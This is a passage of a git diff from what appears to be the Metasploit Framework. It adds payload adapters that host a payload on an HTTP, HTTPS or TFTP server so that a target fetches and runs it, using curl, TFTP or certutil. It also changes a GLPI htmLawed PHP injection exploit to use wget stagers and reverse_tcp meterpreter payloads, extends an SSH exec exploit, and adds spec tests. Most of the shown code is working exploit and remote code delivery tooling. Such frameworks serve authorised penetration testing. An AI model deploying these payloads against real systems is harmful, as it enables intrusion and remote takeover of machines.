enums: Rex::Socket::SslTcp.supported_ssl_methods) + ] + ) + end + + def add_resource(fetch_service, uri, srvexe) + vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.") + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, srvexe) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e + # When we clean up, we need to leave resources alone, because we never added one. + @delete_resource = false + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}") + end + + def cleanup_http_fetch_service(fetch_service, delete_resource) + unless fetch_service.nil? + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + if fetch_service.resources.include?(escaped_srvuri) && delete_resource + fetch_service.remove_resource(escaped_srvuri) + end + fetch_service.deref + if fetch_service.resources.empty? + # if we don't call deref, we cannot start another httpserver + # this is a reimplementation of the cleanup_service method + # in Exploit::Remote::SocketServer + temp_service = fetch_service + fetch_service = nil + temp_service.cleanup + temp_service.deref + end + end + end + + def fetch_protocol + 'HTTPS' + end + + def on_request_uri(cli, request, srvexe) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + cli.send_response(payload_response(srvexe)) + end + + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end + + def ssl_cert + datastore['FetchSSLCert'] + end + + def ssl_compression + datastore['FetchSSLCompression'] + end + + def ssl_cipher + datastore['FetchSSLCipher'] + end + + def ssl_version + datastore['FetchSSLVersion'] + end + + def start_http_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}") + end + vprint_status('HTTP server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_fetch_handler(srvname, srvexe) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + escaped_srvuri = ('/' + srvuri).gsub('//', '/') + @fetch_service = start_https_server(true, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if @fetch_service.nil? + if @fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status('HTTPS server started') + @fetch_service.server_name = srvname + add_resource(@fetch_service, escaped_srvuri, srvexe) + @fetch_service + end + + def start_https_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}\n #{e}") + end + vprint_status("Fetch Handler listening on #{fetch_bindhost}:#{fetch_bindport}") + fetch_service + end + +end diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb new file mode 100644 index 0000000000..ad689fcee6 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -0,0 +1,36 @@ +module Msf::Payload::Adapter::Fetch::Server::TFTP + + def start_tftp_server(srvport, srvhost) + vprint_status("Starting TFTP server on #{srvhost}:#{srvport}") + Rex::Proto::TFTP::Server.new(srvport, srvhost, {}) + end + + def initialize(*args) + super + register_options( + [ + Msf::OptBool.new('FETCH_SRVONCE', [ true, 'Stop serving the payload after it is retrieved', true ]) + ] + ) + end + def cleanup_tftp_fetch_service(fetch_service) + fetch_service.stop unless fetch_service.nil? + end + + def fetch_protocol + 'TFTP' + end + + def start_tftp_fetch_handler(srvport, srvhost, srvuri, srvexe) + fetch_service = start_tftp_server(srvport, srvhost) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{srvhost}:#{srvport}\n #{e}") + end + fetch_service.register_file(srvuri, srvexe, datastore['FETCH_SRVONCE']) + fetch_service.start + fetch_service + end + +end + diff --git a/lib/msf/core/payload/adapter/fetch/tftp.rb b/lib/msf/core/payload/adapter/fetch/tftp.rb new file mode 100644 index 0000000000..acda02eb9b --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/tftp.rb @@ -0,0 +1,22 @@ +module Msf::Payload::Adapter::Fetch::TFTP + + include Msf::Exploit::EXE + include Msf::Payload::Adapter + include Msf::Payload::Adapter::Fetch + include Msf::Payload::Adapter::Fetch::Server::TFTP + + def initialize(*args) + super + end + + def cleanup_handler + cleanup_tftp_fetch_service(@fetch_service) + super + end + + def setup_handler + @fetch_service = start_tftp_fetch_handler(fetch_bindport, fetch_bindhost, srvuri, @srvexe) unless datastore['FetchHandlerDisable'] + super + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb new file mode 100644 index 0000000000..3a044b3244 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -0,0 +1,13 @@ +module Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super(update_info(info, + 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '%TEMP%' } + )) + register_options( + [ + Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]) + ] + ) + end +end diff --git a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb index 8c43250f23..21e87d26ef 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb @@ -122,7 +122,7 @@ module Payload::Windows::ReverseHttp_x64 # Generate the URI for the initial stager # def generate_small_uri - generate_uri_uuid_mode(:init_native, 5) + generate_uri_uuid_mode(:init_native, 30) end # diff --git a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb index 405b20b829..7857379bb5 100644 --- a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb +++ b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb @@ -30,18 +30,17 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_CMD], - 'CmdStagerFlavor' => [ 'printf' ], + 'CmdStagerFlavor' => [ 'printf', 'wget' ], 'Targets' => [ [ - 'Unix Command', + 'Nix Command', { - 'Platform' => 'unix', + 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 } } ], @@ -52,12 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 }, 'Type' => :linux_dropper } - ], + ] ], 'DisclosureDate' => '2022-01-26', 'DefaultTarget' => 0, @@ -68,10 +66,15 @@ class MetasploitModule < Msf::Exploit::Remote } ) ) + register_options( + [ + Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi']) + ] + ) end def populate_values - uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php" + uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php" begin res = send_request_cgi({ 'method' => 'GET', @@ -93,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, _opts = {}) populate_values if @sid.nil? || @token.nil? - uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index e0bdcaab94..9e872d344f 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -41,6 +41,13 @@ class MetasploitModule < Msf::Exploit::Remote 'CmdStagerFlavor' => %w[bourne echo printf wget], 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'linux' + } + ], [ 'Linux x86', { @@ -237,7 +244,11 @@ class MetasploitModule < Msf::Exploit::Remote when 'unix' execute_command(payload.encoded) else - execute_cmdstager(linemax: 500) + if target['Arch'] == ARCH_CMD + execute_command(payload.encoded) + else + execute_cmdstager(linemax: 500) + end end @timeout ? ssh_socket.shutdown! : ssh_socket.close diff --git a/modules/payloads/adapters/cmd/linux/http/x64.rb b/modules/payloads/adapters/cmd/linux/http/x64.rb new file mode 100644 index 0000000000..4e6c18dd6b --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/x64.rb b/modules/payloads/adapters/cmd/linux/https/x64.rb new file mode 100644 index 0000000000..34bf2e4e8d --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/x64.rb b/modules/payloads/adapters/cmd/linux/tftp/x64.rb new file mode 100644 index 0000000000..0fad3c06a7 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from a TFTP server', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb new file mode 100644 index 0000000000..0f3bf296de --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb new file mode 100644 index 0000000000..d4c8f33ed0 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb new file mode 100644 index 0000000000..5b8cd853ce --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from a tftp server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 29f94fe3e2..b79ac25cbf 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -508,6 +508,30 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/linux/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x64' + ], + reference_name: 'cmd/linux/http/x64' + end + + context 'cmd/linux/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x64' + ], + reference_name: 'cmd/linux/https/x64' + end + + context 'cmd/linux/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/x64' + ], + reference_name: 'cmd/linux/tftp/x64' + end + context 'cmd/mainframe/generic_jcl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1116,6 +1140,22 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/generic' end + context 'cmd/windows/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64' + ], + reference_name: 'cmd/windows/http/x64' + end + + context 'cmd/windows/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64' + ], + reference_name: 'cmd/windows/https/x64' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -1212,6 +1252,14 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'cmd/windows/jjs_reverse_tcp' end + context 'cmd/windows/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/tftp/x64' + ], + reference_name: 'cmd/windows/tftp/x64' + end + context 'firefox/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [